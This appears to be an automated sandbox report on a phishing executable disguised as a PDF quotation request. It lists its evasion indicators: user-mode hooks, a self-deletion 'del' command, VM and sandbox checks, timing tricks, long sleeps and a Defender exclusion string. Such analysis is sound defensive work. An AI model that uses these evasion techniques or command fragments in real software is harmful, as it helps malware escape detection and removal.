Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041D502 push eax; ret 6_2_0041D508
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041D50B push eax; ret 6_2_0041D572
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0465D0D1 push ecx; ret 10_2_0465D0E4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013783B push cs; retf 10_2_0013784A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_00136939 push 8A1A9327h; iretd 10_2_0013693E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013794C push ebx; ret 10_2_0013795C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0012E328 push 3E78F232h; iretd 10_2_0012E32D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013DBDE push ebx; retf 10_2_0013DBDF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_001363FF push esi; iretd 10_2_00136400
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013D4B5 push eax; ret 10_2_0013D508
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013D502 push eax; ret 10_2_0013D508
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013D50B push eax; ret 10_2_0013D572
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013D56C push eax; ret 10_2_0013D572
Binary contains a suspicious time stamp
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: 0xD47F48BF [Mon Dec 21 20:44:47 2082 UTC]
Source: initial sample Static PE information: section name: .text entropy: 7.76378455521

Hooking and other Techniques for Hiding and Protection:

barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x82 0x2E 0xE7
Self deletion via cmd delete
Source: C:\Windows\SysWOW64\msdt.exe Process created: /c del "C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe"
Source: C:\Windows\SysWOW64\msdt.exe Process created: /c del "C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe" Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 0.2.Solicitud urgente de Quotaion_U1197,pdf.exe.3321c04.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.300643719.0000000003301000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.300683350.000000000333D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Solicitud urgente de Quotaion_U1197,pdf.exe PID: 6204, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300643719.0000000003301000.00000004.00000001.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300683350.000000000333D000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300643719.0000000003301000.00000004.00000001.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300683350.000000000333D000.00000004.00000001.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe RDTSC instruction interceptor: First address: 0000000000129904 second address: 000000000012990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe RDTSC instruction interceptor: First address: 0000000000129B7E second address: 0000000000129B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe TID: 5128 Thread sleep time: -36039s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe TID: 4060 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6480 Thread sleep time: -44000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\msdt.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00409AB0 rdtsc 6_2_00409AB0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Thread delayed: delay time: 36039 Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300683350.000000000333D000.00000004.00000001.sdmp Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300683350.000000000333D000.00000004.00000001.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000007.00000000.333883657.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300683350.000000000333D000.00000004.00000001.sdmp Binary or memory string: vmware
Source: explorer.exe, 00000007.00000000.312931928.0000000008778000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 00000007.00000000.333883657.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 00000007.00000000.346806306.00000000067C2000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.346806306.00000000067C2000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: explorer.exe, 00000007.00000000.333883657.00000000086C9000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300683350.000000000333D000.00000004.00000001.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00409AB0 rdtsc 6_2_00409AB0
Enables debug privileges
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462746D mov eax, dword ptr fs:[00000030h] 10_2_0462746D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463A44B mov eax, dword ptr fs:[00000030h] 10_2_0463A44B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469C450 mov eax, dword ptr fs:[00000030h] 10_2_0469C450
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469C450 mov eax, dword ptr fs:[00000030h] 10_2_0469C450
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463BC2C mov eax, dword ptr fs:[00000030h] 10_2_0463BC2C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D740D mov eax, dword ptr fs:[00000030h] 10_2_046D740D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D740D mov eax, dword ptr fs:[00000030h] 10_2_046D740D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D740D mov eax, dword ptr fs:[00000030h] 10_2_046D740D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686C0A mov eax, dword ptr fs:[00000030h] 10_2_04686C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686C0A mov eax, dword ptr fs:[00000030h] 10_2_04686C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686C0A mov eax, dword ptr fs:[00000030h] 10_2_04686C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686C0A mov eax, dword ptr fs:[00000030h] 10_2_04686C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1C06 mov eax, dword ptr fs:[00000030h] 10_2_046C1C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C14FB mov eax, dword ptr fs:[00000030h] 10_2_046C14FB
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686CF0 mov eax, dword ptr fs:[00000030h] 10_2_04686CF0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686CF0 mov eax, dword ptr fs:[00000030h] 10_2_04686CF0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686CF0 mov eax, dword ptr fs:[00000030h] 10_2_04686CF0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D8CD6 mov eax, dword ptr fs:[00000030h] 10_2_046D8CD6
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461849B mov eax, dword ptr fs:[00000030h] 10_2_0461849B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462C577 mov eax, dword ptr fs:[00000030h] 10_2_0462C577
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462C577 mov eax, dword ptr fs:[00000030h] 10_2_0462C577
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04643D43 mov eax, dword ptr fs:[00000030h] 10_2_04643D43
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04683540 mov eax, dword ptr fs:[00000030h] 10_2_04683540
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046B3D40 mov eax, dword ptr fs:[00000030h] 10_2_046B3D40
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04627D50 mov eax, dword ptr fs:[00000030h] 10_2_04627D50
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460AD30 mov eax, dword ptr fs:[00000030h] 10_2_0460AD30
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04613D34 mov eax, dword ptr fs:[00000030h] 10_2_04613D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CE539 mov eax, dword ptr fs:[00000030h] 10_2_046CE539
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04634D3B mov eax, dword ptr fs:[00000030h] 10_2_04634D3B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04634D3B mov eax, dword ptr fs:[00000030h] 10_2_04634D3B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04634D3B mov eax, dword ptr fs:[00000030h] 10_2_04634D3B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D8D34 mov eax, dword ptr fs:[00000030h] 10_2_046D8D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0468A537 mov eax, dword ptr fs:[00000030h] 10_2_0468A537
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461D5E0 mov eax, dword ptr fs:[00000030h] 10_2_0461D5E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461D5E0 mov eax, dword ptr fs:[00000030h] 10_2_0461D5E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CFDE2 mov eax, dword ptr fs:[00000030h] 10_2_046CFDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CFDE2 mov eax, dword ptr fs:[00000030h] 10_2_046CFDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CFDE2 mov eax, dword ptr fs:[00000030h] 10_2_046CFDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CFDE2 mov eax, dword ptr fs:[00000030h] 10_2_046CFDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046B8DF1 mov eax, dword ptr fs:[00000030h] 10_2_046B8DF1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686DC9 mov eax, dword ptr fs:[00000030h] 10_2_04686DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686DC9 mov eax, dword ptr fs:[00000030h] 10_2_04686DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686DC9 mov eax, dword ptr fs:[00000030h] 10_2_04686DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686DC9 mov ecx, dword ptr fs:[00000030h] 10_2_04686DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686DC9 mov eax, dword ptr fs:[00000030h] 10_2_04686DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04686DC9 mov eax, dword ptr fs:[00000030h] 10_2_04686DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D05AC mov eax, dword ptr fs:[00000030h] 10_2_046D05AC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D05AC mov eax, dword ptr fs:[00000030h] 10_2_046D05AC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046335A1 mov eax, dword ptr fs:[00000030h] 10_2_046335A1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04631DB5 mov eax, dword ptr fs:[00000030h] 10_2_04631DB5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04631DB5 mov eax, dword ptr fs:[00000030h] 10_2_04631DB5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04631DB5 mov eax, dword ptr fs:[00000030h] 10_2_04631DB5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632581 mov eax, dword ptr fs:[00000030h] 10_2_04632581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632581 mov eax, dword ptr fs:[00000030h] 10_2_04632581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632581 mov eax, dword ptr fs:[00000030h] 10_2_04632581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632581 mov eax, dword ptr fs:[00000030h] 10_2_04632581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04602D8A mov eax, dword ptr fs:[00000030h] 10_2_04602D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04602D8A mov eax, dword ptr fs:[00000030h] 10_2_04602D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04602D8A mov eax, dword ptr fs:[00000030h] 10_2_04602D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04602D8A mov eax, dword ptr fs:[00000030h] 10_2_04602D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04602D8A mov eax, dword ptr fs:[00000030h] 10_2_04602D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463FD9B mov eax, dword ptr fs:[00000030h] 10_2_0463FD9B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463FD9B mov eax, dword ptr fs:[00000030h] 10_2_0463FD9B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461766D mov eax, dword ptr fs:[00000030h] 10_2_0461766D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462AE73 mov eax, dword ptr fs:[00000030h] 10_2_0462AE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462AE73 mov eax, dword ptr fs:[00000030h] 10_2_0462AE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462AE73 mov eax, dword ptr fs:[00000030h] 10_2_0462AE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462AE73 mov eax, dword ptr fs:[00000030h] 10_2_0462AE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462AE73 mov eax, dword ptr fs:[00000030h] 10_2_0462AE73
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04617E41 mov eax, dword ptr fs:[00000030h] 10_2_04617E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04617E41 mov eax, dword ptr fs:[00000030h] 10_2_04617E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04617E41 mov eax, dword ptr fs:[00000030h] 10_2_04617E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04617E41 mov eax, dword ptr fs:[00000030h] 10_2_04617E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04617E41 mov eax, dword ptr fs:[00000030h] 10_2_04617E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04617E41 mov eax, dword ptr fs:[00000030h] 10_2_04617E41
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CAE44 mov eax, dword ptr fs:[00000030h] 10_2_046CAE44
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CAE44 mov eax, dword ptr fs:[00000030h] 10_2_046CAE44
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460E620 mov eax, dword ptr fs:[00000030h] 10_2_0460E620
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046BFE3F mov eax, dword ptr fs:[00000030h] 10_2_046BFE3F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460C600 mov eax, dword ptr fs:[00000030h] 10_2_0460C600
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460C600 mov eax, dword ptr fs:[00000030h] 10_2_0460C600
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460C600 mov eax, dword ptr fs:[00000030h] 10_2_0460C600
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04638E00 mov eax, dword ptr fs:[00000030h] 10_2_04638E00
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1608 mov eax, dword ptr fs:[00000030h] 10_2_046C1608
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463A61C mov eax, dword ptr fs:[00000030h] 10_2_0463A61C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463A61C mov eax, dword ptr fs:[00000030h] 10_2_0463A61C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046316E0 mov ecx, dword ptr fs:[00000030h] 10_2_046316E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046176E2 mov eax, dword ptr fs:[00000030h] 10_2_046176E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04648EC7 mov eax, dword ptr fs:[00000030h] 10_2_04648EC7
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046BFEC0 mov eax, dword ptr fs:[00000030h] 10_2_046BFEC0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046336CC mov eax, dword ptr fs:[00000030h] 10_2_046336CC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D8ED6 mov eax, dword ptr fs:[00000030h] 10_2_046D8ED6
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D0EA5 mov eax, dword ptr fs:[00000030h] 10_2_046D0EA5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D0EA5 mov eax, dword ptr fs:[00000030h] 10_2_046D0EA5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D0EA5 mov eax, dword ptr fs:[00000030h] 10_2_046D0EA5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046846A7 mov eax, dword ptr fs:[00000030h] 10_2_046846A7
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469FE87 mov eax, dword ptr fs:[00000030h] 10_2_0469FE87
